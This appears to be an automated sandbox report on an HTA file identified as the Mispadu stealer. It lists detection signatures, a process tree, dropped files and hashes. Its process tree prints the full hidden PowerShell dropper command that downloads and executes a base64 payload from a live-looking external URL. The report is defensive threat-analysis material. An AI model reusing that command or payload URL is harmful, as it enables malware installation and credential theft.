Resubmissions

10/07/2026, 04:24

260710-e1fl7scz4n10

07/07/2026, 03:16

260707-dshwxsgx9x1

Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 04:24

General

  • Target
    archivos-20260702-174516.hta
  • Size 15KB
  • Sample260710-e1fl7scz4n
  • SHA256 21ccc715f541587d62db604e205772c1aca91ad162ef3dc2614fba55553b2daf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg

Signatures

  • Family: Mispadu

    Mispadu is a stealer written in Delphi.

  • Detects Mispadu 2 IoCs
  • Detected Nirsoft tools 2 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 28 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 14 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\archivos-20260702-174516.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg'))).EntryPoint.Invoke($null,$null)"
      2⤵
      • Hide Artifacts: Hidden Window
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4892
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://tpldftybmovnmgbswpnh.supabase.co/storage/v1/object/public/c8c76ce9/03.jpg'))).EntryPoint.Invoke($null,$null)"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\l7n456\b3yviws71ai.exe
          "C:\l7n456\b3yviws71ai.exe" b3yviws71
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:5044
          • \??\c:\windows\SysWOW64\attrib.exe
            "c:/windows/SysWOW64/attrib.exe"
            5⤵
            • Views/modifies file attributes
            PID:4000
          • \??\c:\windows\SysWOW64\attrib.exe
            "c:/windows/SysWOW64/attrib.exe"
            5⤵
            • Views/modifies file attributes
            PID:5788
          • \??\c:\windows\SysWOW64\attrib.exe
            "c:/windows/SysWOW64/attrib.exe"
            5⤵
            • Views/modifies file attributes
            PID:2548
          • \??\c:\windows\SysWOW64\attrib.exe
            "c:/windows/SysWOW64/attrib.exe"
            5⤵
            • Views/modifies file attributes
            PID:4648
          • \??\c:\windows\SysWOW64\attrib.exe
            "c:/windows/SysWOW64/attrib.exe"
            5⤵
            • Views/modifies file attributes
            PID:2848
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:/Windows/Microsoft.NET/Framework/v4.0.30319/RegSvcs.exe"
            5⤵
            • Drops startup file
            • System Location Discovery: System Language Discovery
            PID:5836
  • C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    PID:4604
  • C:\l7n456\b3yviws71ai.exe
    C:\l7n456\B3YVIW~1.EXE
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    PID:3060

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        f01b4d95cf55d32a.automaticDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
        • Size 8KB
        • SHA256 3f9e8878533e9b69195bdae6cbc99718901ddcc5c162cc1f0defe6d49f23b8a5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        C

        • Path C:\Users\Public\C
        • Size 134B
        • SHA256 5a84d86fd839a525bce996656193bbab9b8d56e3cc778356e8fee1e1b5f0e840
        • MD5 SHA1 SHA512 TLSH

        b3yviws711.17s

        • Path C:\l7n456\b3yviws711.17s
        • Size 6.0MB
        • SHA256 49b0cf4517864406b79f56c42d984d25aa67694a678e2fac27c8ca3a3e3d3e37
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b3yviws714.zip

        • Path C:\l7n456\b3yviws714.zip
        • Size 244KB
        • SHA256 7c65946a38fcb14f24231e97d1de5a185062c714d0a199f2f0db6841d048ac7c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b3yviws71a3.zip

        • Path C:\l7n456\b3yviws71a3.zip
        • Size 475KB
        • SHA256 cae19987e23dcadcb06a45e336bef4bb7937d1b09657c7d72aa3446b108c5242
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b3yviws71ai.exe

        • Path C:\l7n456\b3yviws71ai.exe
        • Size 925KB
        • SHA256 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b3yviws71m1.zip

        • Path C:\l7n456\b3yviws71m1.zip
        • Size 4.2MB
        • SHA256 74f50d5973029d806e519fc5ef33d1827b55eeca528a5099d3c5928d6be0c6bd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        b3yviws71

        • Path \??\c:\l7n456\b3yviws71
        • Size 244KB
        • SHA256 aa659571623a4fcb007f68b90e2710f5240358e981c33e9afec7aeb866b9395d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2428-35-0x0000000074630000-0x0000000074DEC000-memory.dmp

        memory/2428-4-0x0000000074630000-0x0000000074DEC000-memory.dmp

        memory/2428-12-0x0000000006710000-0x000000000675C000-memory.dmp

        memory/2428-13-0x0000000007DF0000-0x000000000846C000-memory.dmp

        memory/2428-14-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

        memory/2428-15-0x0000000006830000-0x0000000006838000-memory.dmp

        memory/2428-16-0x0000000008A30000-0x0000000008FEA000-memory.dmp

        memory/2428-17-0x0000000007C00000-0x0000000007C92000-memory.dmp

        memory/2428-18-0x0000000007D40000-0x0000000007DDC000-memory.dmp

        memory/2428-34-0x0000000074642000-0x0000000074643000-memory.dmp

        memory/2428-0-0x0000000074642000-0x0000000074643000-memory.dmp

        memory/2428-10-0x0000000006260000-0x00000000065BB000-memory.dmp

        memory/2428-8-0x0000000006180000-0x00000000061E6000-memory.dmp

        memory/2428-9-0x00000000061F0000-0x0000000006256000-memory.dmp

        memory/2428-5-0x0000000006060000-0x0000000006082000-memory.dmp

        memory/2428-11-0x00000000066D0000-0x00000000066EE000-memory.dmp

        memory/2428-1-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

        memory/2428-2-0x0000000074630000-0x0000000074DEC000-memory.dmp

        memory/2428-3-0x0000000005A10000-0x000000000605A000-memory.dmp

        memory/2428-176-0x0000000074630000-0x0000000074DEC000-memory.dmp

        memory/4604-152-0x00007FFB185A0000-0x00007FFB185B0000-memory.dmp

        memory/4604-150-0x00007FFB185A0000-0x00007FFB185B0000-memory.dmp

        memory/4604-153-0x00007FFB185A0000-0x00007FFB185B0000-memory.dmp

        memory/4604-155-0x00007FFB15C20000-0x00007FFB15C30000-memory.dmp

        memory/4604-156-0x00007FFB15C20000-0x00007FFB15C30000-memory.dmp

        memory/4604-151-0x00007FFB185A0000-0x00007FFB185B0000-memory.dmp

        memory/4604-149-0x00007FFB185A0000-0x00007FFB185B0000-memory.dmp

        memory/5044-144-0x0000000010000000-0x0000000010035000-memory.dmp

        memory/5836-187-0x0000000000400000-0x0000000000A07000-memory.dmp

        memory/5836-188-0x0000000000400000-0x0000000000A07000-memory.dmp